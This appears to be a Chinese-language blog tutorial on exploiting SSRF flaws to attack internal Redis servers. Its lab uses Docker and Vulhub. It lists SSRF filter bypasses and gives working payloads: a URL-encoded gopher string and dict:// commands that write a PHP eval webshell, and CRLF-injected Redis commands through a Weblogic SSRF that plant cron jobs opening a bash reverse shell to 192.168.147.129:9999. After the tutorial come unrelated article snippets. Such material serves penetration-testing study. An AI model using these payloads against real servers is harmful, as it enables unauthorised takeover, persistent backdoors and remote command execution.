SSRF中Redis的利用

1. SSRF

1.1 什么是SSRF

 SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(因为请求是由服务端帮我们发起的,所以我们可以通过它来向其所在的内网机器发起请求)。

1.2 漏洞成因

 SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造,SSRF利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器。

1.3 可能会存在SSRF的地方

 
  1. > 转码服务

  2. > 在线翻译

  3. > 获取超链接的标题等内容进行显示

  4. > 请求远程服务器资源的地方,图片加载与下载(通过URL地址加载或下载图片)

  5. > 图片、文章收藏功能

  6. > 对外发起网络请求的地方,网站采集、网页抓取的地方。

  7. > 一切要你输入网址的地方和可以输入ip的地方。

  8. > 数据库内置功能(mongodb的copyDatabase函数)

  9. > 从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain

1.4 SSRF分类

 我觉得就分为回显和不回显两种方式,会回显请求的响应内容那么最好不过,如果不会回显的话,那么一般就只能通过响应时间来判断了

1.5 验证方法

 如果是会回显信息的SSRF漏洞,那么看他的响应结果就好了,如果是不会回显的,那么我们可以利用DNSLOG来进行判断

1.6 利用方式

  1. 对外网或服务器所在的内网或服务器自身发起端口扫描

  2. 攻击运行在内网或本地的应用程序

  3. 利用file协议读取本地文件

  4. ……..

1.7 可以利用的协议

  1. http/https,发起HTTP请求

  2. file,如果会回显数据的话,那么我们可以使用file协议读取目标本地文件

  3. dict,可以用来探测目标端口

  4. gopher,可以发送get/post请求

  5. ftp,文件传输协议

  6. …..

1.8 SSRF过滤绕过

  1. 0.0.0.0,这个IP地址可以直接访问到本地

  2. 把IP地址的格式进行转换从而绕过

 
  1. 通常我们用的是127.0.0.1,但事实上127这个段的地址都用来表示本机地址了,所以像127.155.155.155这样的也是可以的,还可以进行进制转换也是可以的

  2. > 8进制(把127转为八进制写的时候前面加个0):0177.0.0.1

  3. > 16进制(把127转为十六进制写的时候前面加个0x):0x7f.0.0.1

  4. > 16进制整数格式:0X7F000001

  5. > 10进制证书格式(把16整数转为10进制):2130706433

  6. 上面这些都是可以访问到的

  1. localhost

  2. 利用@绕过例如,www.baidu.com@127.0.0.1

  3. 利用非HTTP协议,例如上面说到的gopher或者dict

  4. 利用DNS解析(可以用DNSLOG)

  5. 利用IPv6

  6. 添加端口号

  7. [::]代替127.0.01,比如http://[::]:80,这样也是可以访问到的

2. SSRF攻击Redis

2.1 环境搭建

使用Docker进行环境的搭建,需要的文件我已经打包好了,如果没有docker环境的话需要安装(请使用linux系统)

  1. 使用tar xzvf ssrf.tar.gz解压ssrf.tar.gz,

  2. cd ssrf_dockerfile,进入到解压的文件目录下

  3. 构建镜像,docker build -t ssrf:v1 .

    图片

  4. Successfully built说明构建成功,也可以再使用docker images命令查看镜像是否存在

    图片

  5. docker run -d -p 80:80 ssrf:v1,启动镜像

    图片

  6. 启动成功,访问127.0.0.1查看是否搭建成功

    图片

  7. 漏洞点为ssrf.php,参数名为url,测试一下是否存在漏洞

    图片

环境搭建完毕

2.2 漏洞复现(通过ssrf利用redis写入webshell)

2.2.1 想要写入webshell的两个条件

  1. 要知道网站的绝对路径

  2. redis有目录的写入权限

2.2.2 通过gopherus实现

这里是通过gopher协议进行利用

0x00 Gopherus(gopher协议利用工具)
Gopherus简介

Gopherus下载地址

自己手动把攻击语句转换成Gopher协议的格式会很麻烦,这款工具里面内置了一些早就写好的利用语句,我们只需要学会如何使用它就可以很方便的写出一些我们需要的利用语句。

Gopherus可以生成的payload
  1. MySQL (Port-3306)

  2. PostgreSQL(Port-5432)

  3. FastCGI (Port-9000)

  4. Memcached (Port-11211)
    If stored data is getting De-serialized by:

    • Python

    • Ruby

    • PHP

  5. Redis (Port-6379)

  6. Zabbix (Port-10050)

  7. SMTP (Port-25)

命令
 
  1. gopherus --exploit [mysql | postgresql | fastcgi | redis | smtp | zabbix | pymemcache | rbmemcache | phpmemcache | dmpmemcache]

exploit后面写要利用的服务就好了

实际演示

这里将使用Gopherus这个工具生成利用语句,不了解的小伙伴可以先去看一下Gopherus那一段

  1. 再phpinfo页面中我们可以看到站点的绝对路径为/var/www/html

    图片

  2. 启动gopherus,python gopherus.py --exploit redis,shell写入方式选择phpshell

    图片

  3. 然后填入绝对路径,这里刚好是默认的,回车就好

    图片

  4. 然后填写要写入的内容,我这里写的一句话木马

    图片

  5. 生成好了,如果执行成功他会再目录下生成shell.php这个文件

    图片

  6. 现在这个语句还不能马上拿去用,需要做一下处理gopher://127.0.0.1:6379/_这部分不用变,后面的复制,再拿去进行一次url编码,然后拼接回gopher://127.0.0.1:6379/_后面,我处理好的如下

     
      
    1. gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_REQUEST%255B8%255D%2529%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

  7. 然后传参给url参数,回车

    图片

  8. shell写入成功

    图片

2.2.3 通过Dict协议实现

Dict协议使用注意事项
  1. Dict协议中可以用:代替空格

  2. ?会截断后面的内容(写马的情况下要想办法bypass “?”)

  3. dict协议一次只能发送一条数据

实际演示
  1. dict://127.0.0.1:6379/flushall,先清空所有的key

    图片

  2. dict://127.0.0.1:6379/set:hack:'<script language="php">@eval($_REQUEST[8]);</script>',写入一句话木马到key中,这里最好进行一次url编码

    图片

  3. dict://127.0.0.1:6379/config:set:dir:/var/www/html/,设置工作目录

    图片

  4. dict://127.0.0.1:6379/config set dbfilename hack.php,设置持久化文件名为hack.php,这里把去掉了:用了空格,注意两者没有差别

    图片

  5. dict://127.0.0.1:6379/save,保存生成持久化文件

    图片

  6. 成功

    图片

再可以回显的情况下,其实也可以查看redis中的数据

图片

3. Weblogic SSRF漏洞(Redis利用)

3.1 环境搭建

3.1.1 Vulhub

这里用的是Vulhub中的环境来复现的,所以就简单说一下

简单来说Vulhub是一个漏洞复现的测试靶场它里面内置了许多的漏洞环境,并且提供了复现文档,如下图
 

图片


Vulhub下载地址
文档地址
怎么搭建和使用它也有帮助文档,百度上面也有很多相关的教程,这里就不多说了
这里要用的是它的weblogic SSRF漏洞的这个环境

图片

3.1.2 运行环境

  1. 进到vulhub中的/weblogic/ssrf/目录下

    图片

  2. 执行如下命令启动环境,docker-compose up -d,如果报错没有docker-compose这个命令的话,百度一下怎么安装

    图片

  3. 执行docker ps命令查看环境是否已经运行了,这里是已经运行起来了

    图片

  4. 环境搭建完毕,开干!!!

    图片

3.2 漏洞测试

3.2.1 内网扫描

这个漏洞点的位置在

 
  1. http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

点击search抓包,可以看到operator的参数值是一个链接

图片

那我们测试这里是否存在ssrf,把地址改成http://127.0.0.1:7001之后它的显示是这样的

图片

然后我们随便改成其他端口,可以发现保存的内容是不一样的,那么我们可以由此来判断端口是否存在

图片

把包发送到Intruder模块,进行端口枚举

图片

这里就设置1~10000的范围

图片

没有他探测到有其他端口开放

图片

尝试对内网进行扫描,我这里的docker环境内网地址应该是172.18这个段的,所以我就跑这个段了,设置好范围

图片

我这里用的是自定义迭代器的payload类型,第一个填172,分隔符为.

图片

第二个填18,分隔符为.

图片

第三个填0~255,分隔符为.

图片

第四个填0~255,注意没有分隔符

图片

开冲,可以看到如果地址不存在是返回No route to host

图片

而这个存在的显示内容如下,那么对他进行端口扫描

图片

检测到6379端口开放,这个的redis的默认端口,下面尝试是否可以进行利用

图片

3.2.2 通过redisGetshell

Weblogic的SSRF有一个比较大的特点,就是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

这里我们利用crontab计划任务反弹shell,先用nc开启监听nc -lvp 9999

图片

然后编写redis名命令,命令中的IP地址和端口号记得改成自己的

 
  1. aaa

  2. set 1 "\n* * * * * bash -i >& /dev/tcp/192.168.147.129/9999 0>&1\n"

  3. config set dir /var/spool/cron

  4. config set dbfilename root

  5. save

  6. aaa

然后进行url编码,注意换行用%0d%0a替换

http://172.18.0.2:6379/aaa%0D%0A%0D%0Aset%201%20%22%5Cn*%20*%20*%20*%20*%20%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.129%2F9999%200%3E%261%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A%0D%0Aaaa

好了之后直接拼接到url后面然后Send

图片

成功获得shell

图片

注意点

  1. 计划任务可能会等一会才会执行,shell不会立马反弹,等个一分钟左右

  2. 一定要docker容器和主机可以通信,我因为nc的机器没关防火墙明明成功了,但是弹不回shell

3.2.3 crontab可以写入的位置

  1. /ect/crontab

TEST



set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.147.129/9999 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save



BBB

TEST%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.129%2F9999%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0ABBB
  1. /etc/cron.d/*

    TEST
    
    
    
    set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.147.129/9999 0>&1\n\n\n\n"
    
    config set dir /etc/cron.d
    
    config set dbfilename shell
    
    save
    
    
    
    BBB

TEST%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.129%2F9999%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2Fcron.d%0D%0Aconfig%20set%20dbfilename%20shell%0D%0Asave%0D%0A%0D%0ABBB

/var/spool/cron/root,复现过程中用的就是这个

var/spool/cron/crontabs/root,debian系统下root用户的cron文件

图片

没看够~?欢迎关注!

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/269491.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[音视频]H264码流分析工具

[音视频]H264码流分析工具 CTI-TS EasyICE Elecardstreameyetools VideoEye H264VideoESViewer 学习H264码流&#xff0c;H264码流进行分析 http://blog.csdn.net/leixiaohua1020/article/details/17933821 H264BSAnalyzer https://github.com/latelee/H264BSAnalyzer.g…

基于SpringBoot实现一个可扩展的事件总线

基于SpringBoot实现一个可扩展的事件总线 前言 在日常开发中&#xff0c;我们经常会用到事件总线&#xff0c;SpringBoot通过事件多播器的形式为我们提供了一个事件总线&#xff0c;但是在开发中我们经常会用到其他的实现&#xff0c;比如Guava、Disruptor的。我们将基于Spri…

社交媒体的力量:独立站如何利用海外社媒进行引流

随着全球数字化的浪潮&#xff0c;社交媒体已经成为连接世界的纽带&#xff0c;为企业和个人提供了无限的可能性。对于独立站而言&#xff0c;通过善用海外社交媒体平台&#xff0c;不仅能够拓展用户群体&#xff0c;还能够实现更广泛的品牌曝光和业务引流。本文Nox聚星将和大家…

labelme目标检测数据类型转换

1. labelme数据类型 LabelMe是一个开源的在线图像标注工具&#xff0c;旨在帮助用户创建和标记图像数据集。它提供了一个用户友好的界面&#xff0c;让用户可以直观地在图像上绘制标记框、多边形、线条等&#xff0c;以标识和注释图像中的对象或区域。 GitHub&#xff1a;http…

孔夫子二手书采集

文章目录 项目演示软件采集单本数据网页搜索数据对比 使用场景概述部分核心逻辑Vb工程图数据导入与读取下拉框选择参数设置线程 使用方法下载软件授权导入文件预览处理后的数据 项目结构附件说明 项目演示 操作视频详见演示视频&#xff0c;以下为图文演示 软件采集单本数据 …

unity中使用protobuf工具将proto文件转为C#实体脚本

unity中使用protobuf工具将proto文件转为C#实体脚本 介绍优点缺点Protobuf 为什么比 XML 快得多&#xff1f;Protobuf的EncodingProtobuf封解包的过程通常编写一个Google Protocol Buffer应用需要以下几步&#xff1a; Protostuff是什么Protobuf工具总结 介绍 protobuf也就是G…

设计模式--适配器模式

实验8&#xff1a;适配器模式 本次实验属于模仿型实验&#xff0c;通过本次实验学生将掌握以下内容&#xff1a; 1、理解适配器模式的动机&#xff0c;掌握该模式的结构&#xff1b; 2、能够利用适配器模式解决实际问题。 [实验任务]&#xff1a;双向适配器 实现一个双向…

Java学习时间和日期

1 常用类 1.1 Date 表示日期 具体类 设置时间 1.2 Calendar 表示日历 抽象类 设置日历的设定日期 void set(int year,int month,int date); void set(int year,int month, int date, int hour, int minute,int second); void setTime(Date d); int get(int field)&#…

直播的内容多样性

直播&#xff0c;作为一种新兴的媒体形式&#xff0c;已经深入到我们生活的方方面面。其内容多样性是吸引观众的关键因素之一。以下是直播内容多样性的几个主要方面: 1.主题多样性:直播涵盖的主题非常广泛&#xff0c;包括但不限于娱乐、游戏、体育、教育、招聘、新闻、金融、…

VS2020使用MFC开发一个贪吃蛇游戏

背景&#xff1a; 贪吃蛇游戏 按照如下步骤实现:。初始化地图 。通过键盘控制蛇运动方向&#xff0c;注意重新设置运动方向操作。 。制造食物。 。让蛇移动&#xff0c;如果吃掉食物就重新生成一个食物&#xff0c;如果会死亡就break。用蛇的坐标将地图中的空格替换为 #和”将…

Druid源码阅读-DruidStatInterceptor实现

上次我们在druid-spring-boot-starter里面看到有一个DruidSpringAopConfiguration的配置类&#xff0c;然后引入了DruidStatInterceptor这样一个切面逻辑。今天我们就来看一下这个类的实现。 DruidStatInterceptor 这个类的包路径下入com.alibaba.druid.support.spring.stat。…

DC电源模块有哪些注意事项和使用技巧?

BOSHIDA DC电源模块有哪些注意事项和使用技巧&#xff1f; DC电源模块的注意事项和使用技巧包括以下几点&#xff1a; 1. 选择适当的电源模块&#xff1a;根据需要选择合适的电源模块&#xff0c;考虑电压、电流和功率等参数。确保模块能够满足所需的电力要求。 2. 输入电压范…

销售如何挖掘客户?有哪些方法?

在当今竞争激烈的市场环境中&#xff0c;客户资源的挖掘已经成为企业生存和发展的关键。销售人员需要掌握一定的技巧和方法&#xff0c;以有效地发掘潜在客户&#xff0c;提高销售业绩。以下分享一些挖掘客户的常用方法&#xff0c;帮助销售人员更好地开展业务。 一、了解客户需…

IP编址,IP地址介绍与子网划分方法

网络层位于数据链路层与传输层之间。网络层中包含了许多协议&#xff0c;其中最为重要的协议就是IP协议。网络层提供了IP路由功能。理解IP路由除了要熟悉IP协议的工作机制之外&#xff0c;还必须理解IP编址以及如何合理地使用IP地址来设计网络。 上层协议类型 以太网帧中的Typ…

Tailwind CSS 原子化开发初体验

Tailwind CSS 的工作原理是扫描所有 HTML 文件、JavaScript 组件以及任何模板中的 CSS 类&#xff08;class&#xff09;名&#xff0c;然后生成相应的样式代码并写入到一个静态 CSS 文件中。他快速、灵活、可靠&#xff0c;没有运行时负担。再也不用为了取一个 classname 类名…

GAMES101-LAB1

文章目录 一、问题总览二、作业参考2.1 get_projection_matrix()函数2.2 static bool insideTriangle()函数2.3 rasterize_triangle() 三、附件 一、问题总览 在屏幕上画出一个实心三角形&#xff0c;换言之&#xff0c;栅格化一个三角形实现并调用函数rasterize_triangle(con…

【MySQL基础】:超详细MySQL完整安装和配置教程

&#x1f3a5; 屿小夏 &#xff1a; 个人主页 &#x1f525;个人专栏 &#xff1a; MySQL从入门到进阶 &#x1f304; 莫道桑榆晚&#xff0c;为霞尚满天&#xff01; 文章目录 &#x1f4d1;前言一. MySQL数据库1.1 版本1.2 下载1.3 安装1.4 客户端连接 &#x1f324;️全篇总…

python使用selenium控制浏览器进行爬虫

这里以谷歌浏览器为例&#xff0c;需要安装一下chromedriver&#xff0c;其他浏览器也有相对应的driver&#xff0c;chromedriver下载地址&#xff1a;https://googlechromelabs.github.io/chrome-for-testing/ 然后是打开python环境安装一下依赖pip install selenium&#xf…

json-server实现数据Mock

json-server是一个node包&#xff0c;可以在不到30秒内获得零编码的完整的Mock服务实现步骤&#xff1a;1. 项目内安装json-server ---> npm i -D json-server2. 准备一个json文件 在根目录下&#xff08;src同级&#xff09;创建server文件夹&#xff0c;创建data.json文…

【数据结构】字符串匹配|BF算法|KMP算法|next数组的优化

字符串匹配算法是在实际工程中经常遇到的问题&#xff0c;也是各大公司笔试面试的常考题目&#xff0c;本文主要介绍BF算法&#xff08;最好想到的算法&#xff0c;也最好实现&#xff09;和KMP算法&#xff08;最经典的&#xff09; 一、BF算法 BF算法&#xff0c;即暴力(Bru…